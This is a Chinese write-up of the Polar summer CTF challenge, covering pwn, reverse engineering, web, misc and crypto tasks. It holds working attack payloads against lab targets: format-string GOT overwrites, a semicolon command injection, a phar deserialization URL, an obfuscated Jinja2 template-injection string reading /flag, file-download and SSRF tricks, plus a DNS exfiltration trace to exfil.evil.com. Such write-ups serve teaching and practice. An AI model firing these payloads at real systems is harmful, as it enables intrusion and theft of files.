Polar 夏季挑战赛 WP
PWN
fnnt
先看看main函数

这个思路很简单,我们只要更改puts函数的got表地址把他改为system即可

里面也有符号信息,直接能拿到相关的地址,这个题之前已经遇到过不少次,所以写的还是比较顺
初始 payload 前 8 字节地址会被 printf 当普通字符输出,所以当前计数是 8。
先写高位:
1 | 0x0804 - 8 = 2044 |
所以:
1 | %2044c%4$hn |
此时写入 0x0804 到 puts@got + 2。
再写低位:
1 | 0x8460 - 0x0804 = 31836 |
所以:
1 | %31836c%5$hn |
最终 puts@got 被改成:
1 | 0x08048460 |
exp:
1 | from pwn import * |
jmp_stack
checksec检查后发现基本上能开的都开了
程序还安装了 seccomp,只允许常见的 open/read/write/exit 一类调用,所以最终利用目标是 ORW 读 flag
主逻辑里在栈上放了一个大缓冲区,并在 buf + 0xe0 处调用 _setjmp:
1 | memset(buf, 0, 0x1a8); |
read 从 buf 开始写 0x120 字节,能够覆盖到 jmp_buf 的前 0x40 字节。glibc x86_64 的 jmp_buf 中,保存的 rsp 和 rip 分别在偏移 0x30、0x38:
1 | jmp_buf + 0x30 -> mangled rsp |
因此可以伪造 longjmp 恢复出的栈指针和指令指针。
glibc 保存 rsp/rip 时会做 pointer mangling:
1 | mangled = rol64(ptr ^ pointer_guard, 17) |
题目泄露了:
1 | stack |
其中 rsp 是真实保存值,jmp_rsp 是 mangled 后的值,所以可以恢复 guard:
1 | guard = ror(jmp_rsp, 17) ^ rsp |
saved_rip 对应 _setjmp 返回后的地址,由它计算 PIE base。libc_read 可用于计算 libc base,不过本题 ORW 主要使用二进制自带 PLT 和 gadget。
二进制里直接给了常用 gadget:
1 | 0x17f7: pop rdi; ret |
ROP 链放在 stack 泄露地址指向的输入缓冲区开头,然后伪造 jmp_buf:
1 | fake_rsp = stack |
longjmp 后先跳到一个 ret,再从 fake_rsp 开始执行 ROP:
1 | open("/home/ctf/flag", 0) |
open 的返回值在 rax,用 mov rdi, rax; ret 转给后续 read 的第一个参数。
最终exp:
1 | #!/usr/bin/env python3 |
逆向
开学美梦
看到java代码:
1 | package com.ctf.welcomeback; |
说明检验函数就在lib层
定位到检验逻辑:

native_check 的逻辑:
取 Java 传进来的字符串
检查前缀是不是 flag{
检查最后一位是不是 }
取出中间的 core
检查 core 长度必须为 26
把 core 传给 execute_vm
execute_vm 是个很小的自定义 VM。反汇编后能看出只支持 3 个指令:
1:从输入里取一个字符压栈
2 imm:栈顶和立即数异或
3 imm:栈顶必须等于立即数,否则失败
能看到opcode:
由此写出解密脚本:
1 | bytecode = [ |
找寻真我
看到真实的校验逻辑:
逻辑是先把字母 ASCII +8,再做 Vigenere 加密。把它逆回来求出flag{to_find_me}
脚本:
1 | s = "wbib{|e_awet_hs}" |
练习5
附件给了1和exe

这里需要解出来4个number
读入 4 个整数后,分两组做同余变换并异或 0x1F,目标常量是 [24, 24, 50, 65]。反推得到两组约束解:
1 | a b = 12 34 |
这个其实是容器密码,可以解开1
解出来一个py打包的exe,python解包后找到一张图片:

这就是flag
指令整容计划
通过main函数定位到关键地址:
1 | void __fastcall sub_140016700(__int64 a1) |
这是一个虚拟机的实现
经过简单分析,指令含义如下:
| opcode | 作用 |
|---|---|
0x40 reg |
取输入长度到寄存器 |
0x41 reg idx |
取输入第 idx 个字符到寄存器 |
0x01 reg imm32 |
给寄存器赋立即数 |
0x20 a b |
比较两个寄存器,相等则标志位为 1 |
0x32 off32 |
若比较失败则跳转 |
0x60 ch |
输出一个字符 |
0xff |
结束 VM |
这里初始化了虚拟机的指令集:
1 | unsigned __int64 __fastcall sub_140011800(__int64 a1) |
动调就可以拿到数据了:
exp:
1 | import struct |
入口在哪
看Start函数,怀疑此程序只是一个加载器,内部藏有payload

这部分代码其实是writeFile:
1 | else if ( n1953067607 == 1953067607 && *(_DWORD *)(v11 + 4) == 1818838629 && *(_WORD *)(v11 + 8) == 101 ) |
因此写ida python提取exe:
1 | import ida_bytes |
求出的exe先进行Aspack脱壳
然后分析估计是一个木马样本二改的
WEB
BH
查看源码,直接分号分隔RCE即可
1 | $input = $_GET['cmd']; |
payload:?cmd=;cat /var/www/html/flag.php

身份权限校验系统
直接get传参:is_admin=1即可
Polar_校园图库
题目给了源码
view.php存在include文件包含

class.php给了一个反序列化利用类:
想到了phar序列化,会解析 phar 元数据,触发 Helper::__destruct(),从而执行 eval($cmd)。
生成payload:
1 |
|
然后输入cmd执行命令
payload:view.php?file=phar://uploads/d0b85eb56725c7cf720d852add94589d.gif/x.php&cmd=cat /flag
dariy
传参49发现存在模板注入:
发现url_for可直接利用
直接输入url_for.__globals__['__builtins__']['open']('/flag').read()不太行
我们可以用dict函数绕过配合进行模板注入实现
1 | {{(url_for|attr((dict(__=x)|list|first)~(dict(globals=x)|list|first)~(dict(__=x)|list|first)))[(dict(__=x)|list|first)~(dict(builtins=x)|list|first)~(dict(__=x)|list|first)][dict(open=x)|list|first]('/flag')|attr(dict(read=x)|list|first)()}} |
路飞的HTTP协议冒险
第一关直接重发包即可:
第二关根据提示传入get参数:power=rubber
第三关根据提示POST传参:
接下来根据提示需要改请求头中的X-Luffy-Gear3:
第四关需要cookie修改

最后一关需要利用DELETE协议

然后即可拿到flag

狗黑子的股市之路
目录扫描发现flag.php
这里看源码发现value值为no,改成yes试试:
即可验证成功:
你会渗透吗
看源码发现关键URL:
猜测这存在任意文件下载,file填写admin.php之后下载成功
payload:api.php?action=download&file=admin.php
flag就在php里面

偷吃蟠桃
经过代码审计,发现是前端js游戏
看到请求flag的URL,直接控制台输入即可:submitResult(1000000, 2, 1);
最终能拿到flag

Top10大考察
登陆进去之后题目允许我们上传.url文件
因此可以考虑SSRF
内容填写:
1 | [InternetShortcut] |
上传即可

在文件分享处查看即可

MISC
静默追踪
首先分析音频,打开发现是摩斯密码
..-. .. -. .- .-.. — .-. -.. . .-. .-. . …- . .-. … . -… .- … . -…. ….- .-. — - .—- …–
摩斯密码解密
指令顺序:reverse->base64->rot13
随波逐流分析图片
LSB隐写
base64解码
这里给出了这个排序,附件给了5个bin文件,第三个正好是zip文件头,推测这5个文件能拼成一个zip。exp
1 | files = [ |
拼接后就是一个zip,文件内容
==QfmJneuV2cfNHMfFmY2dmb5JXZfdWYylndmtHdul3c
按照上述顺序编码

Phantom Trace 1
题目说明报告作者在“报告编号”字段里隐藏了一条秘密消息,并要求提取后按全大写提交。
查看报告编号所在行,可以发现 TI-2024-0612- 后面并不是普通空白,而是一串零宽字符。
将其视作二进制编码:
U+200B = 0U+200C = 1
然后每 8 位转成一个 ASCII 字符,得到:
1 | FALSEREPORT |
因此答案为:
1 | flag{FALSEREPORT} |
Phantom Trace 2
题目提示第 5 节“分析师备注”共有 7 条备注,并要求观察每条备注的行尾。
检查第 5 节后可以发现,这 7 行每一行结尾都存在由空格和 Tab 组成的隐藏序列。可以将其按二进制处理:
- 空格 =
0 Tab=1
得到
1 | INSIDER |
因此答案为:
1 | flag{INSIDER} |
Phantom Trace 3
题目要求在 IOC 域名清单里找出使用同形异码字符的域名,并给出对应字符的 Unicode 码点。
观察以下两条域名:
1 | update-cdn.microsoft-verify.com |
第二条表面上看与第一条完全一致,但其中 vеrify 里的 е 并不是拉丁字母 e,因此就是这一条
1 | U+0435 CYRILLIC SMALL LETTER IE |
因此答案为:
1 | flag{U+0435} |
Phantom Trace 4
题目说明第 2 节的 MITRE ATT&CK 技术映射表中,有一个技术 ID 与对应描述不匹配。
表中第一条写的是:
- 战术:
初始访问 - 技术 ID:
T1566.002 - 描述:
鱼叉邮件附件
这里的描述“鱼叉邮件附件”对应的正确技术应为:
1 | T1566.001 - Spearphishing Attachment |
而 T1566.002 对应的是:
1 | Spearphishing Link |
因此该题正确答案为:
1 | flag{T1566.001} |
miscwei
初始清单给了很多文件:
威胁情报还给了一些API接口:
查IOC:
http://111.229.26.3:51982/api/query/51982

以此类推:
查哈希:http://111.229.26.3:51982/api/query/e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
查恶意组织名字:http://111.229.26.3:51982/api/query/DarkLynx
最终flag:flag{DarkLynx_CobaltStrike_CVE-2024-0610}
DNS 隐信道

发现以下可疑查询:
1 | MZWGCZ33MRXHGX3FPB.exfil.evil.com |
将这些子域名前缀按顺序拼接:得到:
1 | MZWGCZ33MRXHGX3FPBTDC3C7ORZDIZTGGFRV6NDOGRWHS4ZRON6Q==== |
进行 Base32 解码后得到:
1 | flag{dns_exf1l_tr4ff1c_4n4lys1s} |
CRYPTO
签到
给了密文:102 108 97 103 123 112 111 108 97 114 99 116 102 125
按照ascii转换即可

一封情书
看到两次签名使用了相同的随机数 k。
可利用 ECDSA Nonce Reuse 漏洞
exp:
1 | from hashlib import sha256 |
RC4
猜测是两次一密攻击思路
两条直接异或最后出现:s0_h4rd}
假设第一条明文开头为:
1 | flag{ |
则:
1 | p2 = (c1 ^ c2) ^ b"flag{" |
得到:
1 | this_ |
继续推测第二条明文:
1 | this_IS_the_key! |
长度不足的部分补零:
1 | p2 = b"this_IS_the_key!" + b"\x00"*9 |
再恢复第一条明文:
1 | p1 = (c1 ^ c2) ^ p2 |
得到:
1 | flag{rc4_1s_n0t_s0_h4rd} |
最终exp:
1 | import base64 |
RSA攻击
因为题目提示:两份密文加密的是同一个明文
并且使用了相同的模数 n
因此这是一个RSA共模攻击,利用扩展欧几里得算法求解即可
exp:
1 | from Crypto.Util.number import long_to_bytes |
Shamir
本题考查的是 Shamir Secret Sharing 中隐藏模数的攻击。
核心利用:
- 已知阈值 k=5k=5k=5
- 已知所有 (x,y)(x,y)(x,y)
- 利用整数域插值构造误差
- 误差均为 ppp 的倍数
- 通过 GCD 恢复模数 ppp
- 再进行标准拉格朗日插值求得
secret=f(0)secret=f(0)secret=f(0)
最终恢复出 flag。
exp:
1 | from math import gcd |
XOR流密码密钥重用
因为密钥长度 ≤ 16,且给出了一个长度 380 字节的英文明文对应密文,所以可以先恢复密钥,再解出 flag。
exp:
1 | c1 = bytes.fromhex("04c4257bf7daca53b15470dc4041d4e636c3387becdace40a9547dd84a449ab238c96037e7d5da10be1b75800f62d2af238c303ae8c8d151b75471c14142dbaf3edf603ef0cad149fa1877da5b53c8e63fca602feeca8375b4137ec75c5e9aa73cdc283ae4cad710bb0032c24a57c9b270c32e38e3818379ae547bdd0f55d5ab3dc32e37ff8fd643bf1032c840449ab235df3432e8c88344a30477d95d5fcea322df603ae8cb8353b51962db5b53c8e63bc93939e9ced154a95832cf41529aa03fde603fefdcd35cbb0d7bc04816dfbe31c13037e3dc835fbc5474c14142c9e870f8283ea6cac242b61d77dd5b16d1a83fdb2e7be7dfd355bb0673c04c539aa9368c3433efdc8340b20673dd4a16d3b570ca3234eb8fd758bf547ecf5b539aa839c2252fe3cacd44b25471cb4142cfb429826016e7c1da10aa117dde43539aae31da257bf3dcc654fa007ac75c16c9a33ed82535e5ca8344b55462dc4e55ceaf33c9602feecaca42fa1c73c04b41c8af24c52e3ca6dcc859b6186180") |